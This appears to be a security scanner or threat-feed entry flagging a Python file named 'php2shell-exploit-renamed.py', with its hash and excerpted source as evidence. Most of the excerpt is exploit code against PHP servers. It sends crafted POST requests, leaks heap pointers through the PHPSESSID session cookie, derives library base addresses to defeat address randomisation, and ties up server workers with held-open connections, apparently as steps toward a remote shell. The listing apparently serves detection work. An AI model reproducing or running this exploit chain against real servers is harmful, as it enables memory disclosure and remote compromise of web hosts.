php2shell-exploit-renamed.py
PHP session cookie with bounded pointer readsPHP session pointer disclosure with 2 MiB alignment
SHA-2564b8d93ff0d3383e2d1368d8de8ee3e505269aa7b9644da64a46414e55447ced6
Also flagged by https://feeds.feedburner.com/TheHackersNews (Everything Is a Web Application, Including Your Firewall).
Evidence
1from __future__ import annotations
2import argparse
3import os
4import socket
5import struct
6import subprocess
7import sys
8import tempfile
9import time
10import urllib.parse
11from collections import Counter
12HERE = os.path.dirname(os.path.abspath(__file__))
13R = HERE
14PURE = os.path.join(HERE, 'pure')
15Q = '?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v'
16LEAK_SPEC = ','.joi …
20:43… y_file: str, timeout: float, save: str='') -> bytes:
21 cmd = [sys.executable, os.path.join(PURE, 'chunked_send.py'), '--port', str(port), '--body-file', body_file, '--path', path, '--timeout', str(timeout)]
22 if save:
23 cmd += ['--save-response', save]
24 subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
25 return open(save, 'rb').read() if save else b''
26
27def send_plain(port: int, path: str, body: bytes, timeout: float=120.0) -> bytes:
28 req = ('POST %s HTTP/1.1\r\nHost: 192.0.2.19:%d\r\nContent-Type: multipart/form-data; boundary=%s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % (path, port, 'C' * 10, len(body))).encode()
29 out = bytearray()
30 s = socket.create_connection(('192.0.2.19', port), timeout=timeout)
31 s.settimeout(timeout)
32 try:
33 s.sendall(req + body)
34 while len(out) < 4 << 20:
35 chunk = s.recv(65536)
36 if not chunk:
37 break
⋯5 lines
43
44def inspect_cookie(resp: bytes, profile=None):
45 i = resp.find(b'Set-Cookie: PHPSESSID=')
46 if i < 0:
47 raise RuntimeError('no Set-Cookie in leak response (%d bytes)' % len(resp))
48 val = resp[i + len('Set-Cookie: PHPSESSID='):].split(b'\r\n')[0]
49 dec = urllib.parse.unquote_to_bytes(val.decode('latin1'))
50 counts = Counter()
51 ptr_max = profile['ptr_max'] if profile is not None else 281474976710655
52 for off in range(0, len(dec) - 8, 8):
53 q = struct.unpack_from('<Q', dec, off)[0]
54 if 139637976727552 <= q <= ptr_max:
55 counts[q] += 1
56 if not counts:
57 raise RuntimeError('no heap pointers in leak window')
58 (candidate, n) = counts.most_common(1)[0]
59 if profile is None:
60 arch = 'aarch64' if candidate > 140737488355327 else 'x86_64'
⋯4 lines
66:12… andidate - profile['dtor_offset']
67 regions = Counter()
68 bucket_first = {}
69 for (q, c) in counts.items():
70 b = q & ~2097151
71 regions[b] += c
72 bucket_first.setdefault(b, q)
73 lib_bucket = candidate & ~2097151
74 id_bucket = regions.most_common(1)[0][0]
75 cands = [(b, c) for (b, c) in regions.most_common() if b not in (lib_bucket, id_bucket)]
76 cands.sort(key=lambda bc …
82:3… return connections
83 n = workers - 1
84 for i in range(n):
85 try:
86 s = socket.create_connection(('192.0.2.19', port), timeout=5)
87 s.sendall(b'POST /portal.php HTTP/1.1\r\nHost: 192.0.2.19\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 2097152\r\n\r\nx')
88 connections.append(s)
89 except OSError as exc:
90 print(' holder %d/%d failed: %r' % (i + 1, n, exc))
91 break
92 time.sleep(0.01)
93 time.sleep(0.8)
94 print(' pinned %d/%d workers (%d connections)' % (len(connections) + 1, workers, len(connect …
105:46… th.join(R, 'out'))
106 ap.add_argument('--timeout', type=float, default=600.0)
107 ap.add_argument('--retries', type=int, default=3)
108 ap.add_argument('--workers', type=int, default=150, help='prefork …